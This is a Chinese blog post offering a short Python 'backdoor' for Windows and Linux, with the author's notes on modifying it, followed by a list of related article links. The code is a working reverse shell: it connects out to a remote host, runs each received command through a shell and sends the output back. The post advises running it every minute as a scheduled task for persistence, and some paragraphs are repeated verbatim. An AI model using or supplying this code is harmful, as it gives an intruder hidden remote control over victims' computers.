python编写简单后门程序(支持windows和linux且不乱码)
2016-12-04 18:28
489 查看
虽然不是自己写的,但是改了三个部分,网上发的这个,quit退出功能无法使用,因为传过来的字符串其实是加了\n的,为了更人性化,我加了去空格。
第二个部分就是windows下的乱码问题,这里我先用了decode进行解码,然后encode编码传过去(吐槽一下,这个windows下乱码问题,saltstack都没解决,不知道什么情况)
这个脚本可以用计划任务1分钟执行1次,不用担心脚本重启启动问题,因为端口被占用后是无法执行成功的
,所以不用担心。
服务端退出可以不用quit,直接ctrl+c,客户端是可以退出的
第三部分加了host = socket.gethostbyname(host) ,可以支持动态ip,防止更换ip造成客户端丢失
第二个部分就是windows下的乱码问题,这里我先用了decode进行解码,然后encode编码传过去(吐槽一下,这个windows下乱码问题,saltstack都没解决,不知道什么情况)
这个脚本可以用计划任务1分钟执行1次,不用担心脚本重启启动问题,因为端口被占用后是无法执行成功的
,所以不用担心。
服务端退出可以不用quit,直接ctrl+c,客户端是可以退出的
第三部分加了host = socket.gethostbyname(host) ,可以支持动态ip,防止更换ip造成客户端丢失
import subprocess import socket host = "host" host = socket.gethostbyname(host) port = port client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) client.connect((host, port)) client.send("Connected! quite to exit!\nCommand here: ") while 1: data = client.recv(1024) if data.lstrip() == "quit\n": break proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) stdoutput = proc.stdout.read()+proc.stderr.read() stdoutput = stdoutput.decode('gbk').encode('utf-8') client.send(stdoutput) client.send("Bye!") client.close()
相关文章推荐
- Windows 上面搭建 Spark + Pycharm/idea scala/python 本地编写Spark程序,测试通过后再提交到Linux集群上
- Windows下用python编写简单GUI程序的方法
- 【转】Windows下与Linux下编写socket程序的区别(简单区别,没有异步socket,如select)
- python编写的在windows下关闭linux/unix系统的程序。
- Windows下与Linux下编写socket程序的区别
- xming+putty在windows下远程linux主机图形界面程序及putty乱码解决
- python 写作简单的mp3程序 - linux系统
- Windows下与Linux下编写socket程序的区别
- 利用socket编写windows和linux通讯程序
- 利用socket编写windows和linux通讯程序
- 在windows电脑上运行linux程序软件的简单方法
- 【Linux菜鸟成长记(十)】解决Windows的Java程序在ubuntu Eclipse下显示中文乱码
- Windows下与Linux下编写socket程序的区别
- 使用Delphi,SDK编写Windows简单程序
- 工欲善其事必先利其器-简单几步打造顺手的python开发工具(windows,Linux多版本)
- Linux和windows编写多线程程序的区别
- 利用socket编写windows和linux通讯程序
- Linux程序代码移植到Windows的简单方法[转摘]
- 在Linux下编写C++程序 简单的小程序
- Windows下Qt程序在Linux环境下运行中文乱码解决